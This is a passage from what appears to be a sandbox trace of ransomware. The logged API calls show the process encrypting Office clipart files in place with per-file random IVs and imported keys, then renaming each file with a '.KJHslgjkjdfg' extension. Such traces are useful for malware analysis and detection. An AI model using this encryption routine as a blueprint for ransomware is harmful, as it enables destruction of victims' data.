hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.277] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x66a, lpOverlapped=0x0) returned 1 [0192.277] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670, dwBufLen=0x670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x670) returned 1 [0192.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.277] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x670, lpOverlapped=0x0) returned 1 [0192.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.278] SetEndOfFile (hFile=0x114) returned 1 [0192.280] GetProcessHeap () returned 0x2a0000 [0192.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.280] GetProcessHeap () returned 0x2a0000 [0192.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.kjhslgjkjdfg")) returned 1 [0192.282] CloseHandle (hObject=0x114) returned 1 [0192.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0192.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.285] GetProcessHeap () returned 0x2a0000 [0192.285] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.285] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.285] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.285] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.287] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.287] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.287] GetProcessHeap () returned 0x2a0000 [0192.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.287] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.287] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.287] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.287] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.288] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.288] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.288] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.288] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.288] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.288] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.288] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.288] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e02, lpOverlapped=0x0) returned 1 [0192.289] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e10, dwBufLen=0x4e10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e10) returned 1 [0192.289] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.290] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e10, lpOverlapped=0x0) returned 1 [0192.290] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.290] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.290] SetEndOfFile (hFile=0x114) returned 1 [0192.292] GetProcessHeap () returned 0x2a0000 [0192.293] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.293] GetProcessHeap () returned 0x2a0000 [0192.293] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.kjhslgjkjdfg")) returned 1 [0192.295] CloseHandle (hObject=0x114) returned 1 [0192.295] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0192.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.383] GetProcessHeap () returned 0x2a0000 [0192.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.386] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.389] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0192.437] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.437] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.438] GetProcessHeap () returned 0x2a0000 [0192.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.438] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.438] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.438] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.438] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.438] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.438] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.439] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x276a, lpOverlapped=0x0) returned 1 [0192.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2770, dwBufLen=0x2770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2770) returned 1 [0192.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.440] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2770, lpOverlapped=0x0) returned 1 [0192.440] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.440] SetEndOfFile (hFile=0x114) returned 1 [0192.443] GetProcessHeap () returned 0x2a0000 [0192.443] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.443] GetProcessHeap () returned 0x2a0000 [0192.443] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.443] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.kjhslgjkjdfg")) returned 1 [0192.445] CloseHandle (hObject=0x114) returned 1 [0192.445] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0192.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.447] GetProcessHeap () returned 0x2a0000 [0192.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.447] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.447] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.449] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.449] GetProcessHeap () returned 0x2a0000 [0192.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.449] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.450] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.450] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.450] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.450] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x228c, lpOverlapped=0x0) returned 1 [0192.451] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2290, dwBufLen=0x2290 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2290) returned 1 [0192.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.452] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2290, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2290, lpOverlapped=0x0) returned 1 [0192.452] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.452] SetEndOfFile (hFile=0x114) returned 1 [0192.455] GetProcessHeap () returned 0x2a0000 [0192.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.455] GetProcessHeap () returned 0x2a0000 [0192.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.kjhslgjkjdfg")) returned 1 [0192.457] CloseHandle (hObject=0x114) returned 1 [0192.457] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0192.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.458] GetProcessHeap () returned 0x2a0000 [0192.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.458] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.461] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.461] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.461] GetProcessHeap () returned 0x2a0000 [0192.461] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.461] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.461] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.461] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.461] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.461] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.461] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.461] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.462] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.462] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9fc, lpOverlapped=0x0) returned 1 [0192.462] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00, dwBufLen=0xa00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00) returned 1 [0192.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.462] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa00, lpOverlapped=0x0) returned 1 [0192.462] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.462] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.462] SetEndOfFile (hFile=0x114) returned 1 [0192.465] GetProcessHeap () returned 0x2a0000 [0192.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 